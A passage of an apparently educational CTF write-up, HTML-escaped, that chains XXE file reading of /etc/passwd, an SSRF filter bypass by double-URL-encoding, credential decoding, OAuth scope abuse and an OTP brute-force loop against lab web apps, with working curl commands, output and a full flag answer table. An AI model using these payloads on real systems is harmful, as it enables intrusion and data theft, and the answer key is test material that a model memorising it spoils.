&amp;lt;event&amp;gt;&amp;lt;title&amp;gt;&amp;amp;xxe;&amp;lt;/title&amp;gt;&amp;lt;description&amp;gt;x&amp;lt;/description&amp;gt;&amp;lt;happening_at&amp;gt;2051-12-31 10:00&amp;lt;/happening_at&amp;gt;&amp;lt;visibility&amp;gt;user&amp;lt;/visibility&amp;gt;&amp;lt;/event&amp;gt;'&lt;/span&gt;

&lt;span class="c"&gt;# submit&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; admin.jar &lt;span class="nt"&gt;-c&lt;/span&gt; admin.jar &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$W1&lt;/span&gt;&lt;span class="s2"&gt;/admin/events/update/1/xml"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"csrf_token=&lt;/span&gt;&lt;span class="nv"&gt;$XCSRF&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"xml_data=&lt;/span&gt;&lt;span class="nv"&gt;$XXE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s2"&gt;"submit: %{http_code}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="c"&gt;# read it back ("View as XML"), pull the passwd flag line&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; admin.jar &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$W1&lt;/span&gt;&lt;span class="s2"&gt;/admin/events/update/1/xml"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-oaiE&lt;/span&gt; &lt;span class="s2"&gt;"root:x:0:0[^&amp;lt;]*|webrta:[^&amp;lt;]*|flag:[^&amp;lt;]*"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Proof:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;submit: 302
root:x:0:0:root:/root:/bin/bash
webrta:x:1000:1000::/home/webrta:/bin/sh
flag:x:1001:1001:Not there yet Seek out client and go for login:/tmp:/bin/false
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Flag 9 — file containing "flag" →&lt;/strong&gt; &lt;code&gt;/etc/passwd&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Flag 10 — flag value → the whole line:&lt;/strong&gt; &lt;code&gt;flag:x:1001:1001:Not there yet Seek out client and go for login:/tmp:/bin/false&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Verified trap: submitting only &lt;code&gt;flag&lt;/code&gt;, or only the comment, is rejected — the answer is the full record. The comment is a literal hint to WebApp 02.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Note: this XXE only returns clean text; a file with &lt;code&gt;&amp;lt;&lt;/code&gt;, &lt;code&gt;&amp;amp;&lt;/code&gt; or NUL bytes breaks the parse, so source / &lt;code&gt;/proc&lt;/code&gt; are not readable this way (tested — they fail).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Phase 5 — SSRF → Flags 11, 12 &amp;amp; 13
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Vulnerability:&lt;/strong&gt; SSRF in the "Check Outage" panel. &lt;code&gt;GET /api/health&lt;/code&gt; discloses the internal base; &lt;code&gt;POST /api/fetch_internal_secret&lt;/code&gt; fetches a user-supplied URL but filters plain internal URLs — bypassed with double-URL-encoding.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5.1 — internal base (Flag 11 discovery)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; admin.jar &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$W1&lt;/span&gt;&lt;span class="s2"&gt;/api/health"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"content_type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"application/json"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"preview"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"{&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;message&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;:&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;Service Healthy&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;,&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;status&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;:&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;ok&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"requested_uri"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"http://127.0.0.1:8000/health"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"success"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"status_code"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;5.2 — filter proof (plain URL → 418)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; admin.jar &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"encoded_url=http://127.0.0.1:8000"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$W1&lt;/span&gt;&lt;span class="s2"&gt;/api/fetch_internal_secret"&lt;/span&gt;
&lt;span class="c"&gt;# {"Error Code":"418","Error Message":"I'm a Teapot!"}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;5.3 — double-encode bypass → the secret&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# double-URL-encode: server decodes once, so it must arrive still-encoded&lt;/span&gt;
&lt;span class="nv"&gt;DENC&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"import urllib.parse;print(urllib.parse.quote(urllib.parse.quote('http://127.0.0.1:8000',safe=''),safe=''))"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"encoded_url = &lt;/span&gt;&lt;span class="nv"&gt;$DENC&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; admin.jar &lt;span class="nt"&gt;--data&lt;/span&gt; &lt;span class="s2"&gt;"encoded_url=&lt;/span&gt;&lt;span class="nv"&gt;$DENC&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$W1&lt;/span&gt;&lt;span class="s2"&gt;/api/fetch_internal_secret"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;encoded_url&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;http%&lt;/span&gt;&lt;span class="mi"&gt;253&lt;/span&gt;&lt;span class="err"&gt;A%&lt;/span&gt;&lt;span class="mi"&gt;252&lt;/span&gt;&lt;span class="err"&gt;F%&lt;/span&gt;&lt;span class="mi"&gt;252&lt;/span&gt;&lt;span class="err"&gt;F&lt;/span&gt;&lt;span class="mf"&gt;127.0&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;0.1&lt;/span&gt;&lt;span class="err"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;253&lt;/span&gt;&lt;span class="err"&gt;A&lt;/span&gt;&lt;span class="mi"&gt;8000&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"content"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"{&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;hidden_in_layers&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;:&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;64 58 4e 6c 63 6c 38 30 ... 4e 47 4d 3d&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;,&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;service&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;:&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;Status Update&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"content_type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"application/json"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"requested_uri"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"http://127.0.0.1:8000/secret"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"success"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"status_code"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;5.4 — decode "hidden in layers" (Flag 12 → Flag 13)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;HEX&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"64 58 4e 6c 63 6c 38 30 ... 4e 47 4d 3d"&lt;/span&gt;   &lt;span class="c"&gt;# full hex from the SSRF response&lt;/span&gt;
python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"import base64,sys;h=sys.argv[1].replace(' ','');b64=bytes.fromhex(h).decode();print('layer1 (base64):',b64);print('plaintext      :',base64.b64decode(b64).decode())"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HEX&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;layer1 (base64): dXNlcl80ZmI3********************************************...=
plaintext      : user_4fb7********:96f9****************************
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Flag 11 — internal URL for fetching secrets →&lt;/strong&gt; &lt;code&gt;http://127.0.0.1:8000/secret&lt;/code&gt; (the &lt;code&gt;requested_uri&lt;/code&gt; returned by the SSRF)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Flag 12 — "hidden in layers" (encoded) →&lt;/strong&gt; the space-separated hex string&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Flag 13 — plaintext →&lt;/strong&gt; a &lt;code&gt;user_…:…&lt;/code&gt; credential pair (masked — it's a WebApp 02 login)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Phase 6 — WebApp 02 recon + login → Flags 14 &amp;amp; 15
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;6.1 — login endpoint (Flag 14)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="k"&gt;for &lt;/span&gt;e &lt;span class="k"&gt;in&lt;/span&gt; / /client/login /oauth/userlogin /resource/resources /resource/adminpanel&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;"%-24s %s&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s1"&gt;'%{http_code}'&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$W2$e&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/                        404
/client/login            200
/oauth/userlogin         200
/resource/resources      302
/resource/adminpanel     302
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;6.2 — log in with the exfiltrated creds (Flag 15)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; w2.jar
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; w2.jar &lt;span class="nt"&gt;-b&lt;/span&gt; w2.jar &lt;span class="nt"&gt;-L&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$W2&lt;/span&gt;&lt;span class="s2"&gt;/client/start_oauth"&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null   &lt;span class="c"&gt;# start the flow&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; w2.jar &lt;span class="nt"&gt;-b&lt;/span&gt; w2.jar &lt;span class="nt"&gt;-D&lt;/span&gt; - &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$W2&lt;/span&gt;&lt;span class="s2"&gt;/oauth/userlogin"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"username=user_4fb7********"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"password=96f9****************************"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s2"&gt;"^location"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Location: /oauth/consent?client_id=client_1337&amp;amp;scope=read
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Flag 14 — login endpoint →&lt;/strong&gt; &lt;code&gt;/client/login&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Flag 15 — client ID →&lt;/strong&gt; &lt;code&gt;client_1337&lt;/code&gt; (in the post-login redirect)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Phase 7 — OAuth scope abuse + OTP brute → Flag 16
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Vulnerabilities:&lt;/strong&gt; (a) broken scope validation — consent grants whatever scope you request; (b) a 3-digit OTP with no rate limit.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1) request admin scope at consent (session already logged in from Phase 6)&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; w2.jar &lt;span class="nt"&gt;-c&lt;/span&gt; w2.jar &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$W2&lt;/span&gt;&lt;span class="s2"&gt;/oauth/consent?client_id=client_1337&amp;amp;scope=admin"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-oiE&lt;/span&gt; &lt;span class="s2"&gt;"requests scopes: [a-z]+"&lt;/span&gt;

&lt;span class="c"&gt;# 2) approve → OTP challenge&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; w2.jar &lt;span class="nt"&gt;-c&lt;/span&gt; w2.jar &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$W2&lt;/span&gt;&lt;span class="s2"&gt;/oauth/consent?client_id=client_1337&amp;amp;scope=admin"&lt;/span&gt; &lt;span class="nt"&gt;--data&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt; &lt;span class="nt"&gt;-D&lt;/span&gt; - &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="se"&gt;\&lt;/span&gt;
  | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s2"&gt;"^location"&lt;/span&gt;

&lt;span class="c"&gt;# 3) brute the 3-digit OTP (wrong=400, right=302)&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;n &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;seq&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; 0 999&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;&lt;span class="nv"&gt;code&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; w2.jar &lt;span class="nt"&gt;-c&lt;/span&gt; w2.jar &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s2"&gt;"%{http_code}"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
         &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$W2&lt;/span&gt;&lt;span class="s2"&gt;/oauth/otp"&lt;/span&gt; &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"otp=&lt;/span&gt;&lt;span class="nv"&gt;$n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
  &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$code&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="s2"&gt;"400"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"OTP FOUND = &lt;/span&gt;&lt;span class="nv"&gt;$n&lt;/span&gt;&lt;span class="s2"&gt; (HTTP &lt;/span&gt;&lt;span class="nv"&gt;$code&lt;/span&gt;&lt;span class="s2"&gt;)"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;

&lt;span class="c"&gt;# 4) admin scope granted → read the panel&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; w2.jar &lt;span class="nt"&gt;-L&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$W2&lt;/span&gt;&lt;span class="s2"&gt;/resource/resources"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-oiE&lt;/span&gt; &lt;span class="s2"&gt;"full access[^&amp;lt;]*"&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; w2.jar &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$W2&lt;/span&gt;&lt;span class="s2"&gt;/resource/adminpanel"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  | &lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="s1"&gt;'s/&amp;lt;[^&amp;gt;]*&amp;gt;/ /g'&lt;/span&gt; | &lt;span class="nb"&gt;tr&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s1"&gt;' \n'&lt;/span&gt; &lt;span class="s1"&gt;' \n'&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-iE&lt;/span&gt; &lt;span class="s2"&gt;"bob|number|cvv|expiry"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Proof:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;requests scopes: admin
Location: /oauth/otp
OTP FOUND = *** (HTTP 302)
full access (read, write, delete, admin).
 Bob's CC:
NUMBER  : 4367 **** **** 8497
CVV/CVC : ***
EXPIRY  : **/****
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The OTP is random per session, so yours will differ — only the technique matters.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Flag 16 — Bob's Credit Card →&lt;/strong&gt; &lt;code&gt;4367 **** **** 8497&lt;/code&gt; (masked).&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Appendix A — full answer table
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Question&lt;/th&gt;
&lt;th&gt;Answer&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;DB query vuln&lt;/td&gt;
&lt;td&gt;SQLi&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Object-id abuse&lt;/td&gt;
&lt;td&gt;IDOR&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Internal/external request forgery&lt;/td&gt;
&lt;td&gt;SSRF&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Server-side template injection&lt;/td&gt;
&lt;td&gt;SSTI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Unauthenticated role&lt;/td&gt;
&lt;td&gt;anonymous&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Events endpoint&lt;/td&gt;
&lt;td&gt;/dashboard&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;Event name&lt;/td&gt;
&lt;td&gt;Masquerade Ball&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;Admin username&lt;/td&gt;
&lt;td&gt;notatypicalsysadmin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;File containing "flag"&lt;/td&gt;
&lt;td&gt;/etc/passwd&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;Flag value&lt;/td&gt;
&lt;td&gt;the full /etc/passwd flag line&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;Internal secrets URL&lt;/td&gt;
&lt;td&gt;&lt;a href="http://127.0.0.1:8000/secret" rel="noopener noreferrer"&gt;http://127.0.0.1:8000/secret&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;hidden in layers (encoded)&lt;/td&gt;
&lt;td&gt;space-separated hex blob&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;plaintext&lt;/td&gt;
&lt;td&gt;user_…:… (WebApp 02 creds)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;14&lt;/td&gt;
&lt;td&gt;WebApp 02 login endpoint&lt;/td&gt;
&lt;td&gt;/client/login&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15&lt;/td&gt;
&lt;td&gt;Client ID&lt;/td&gt;
&lt;td&gt;client_1337&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;Bob's Credit Card&lt;/td&gt;
&lt;td&gt;4367 **** **** 8497&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Appendix B — the whole chain, one line each
&lt;/h2&gt;

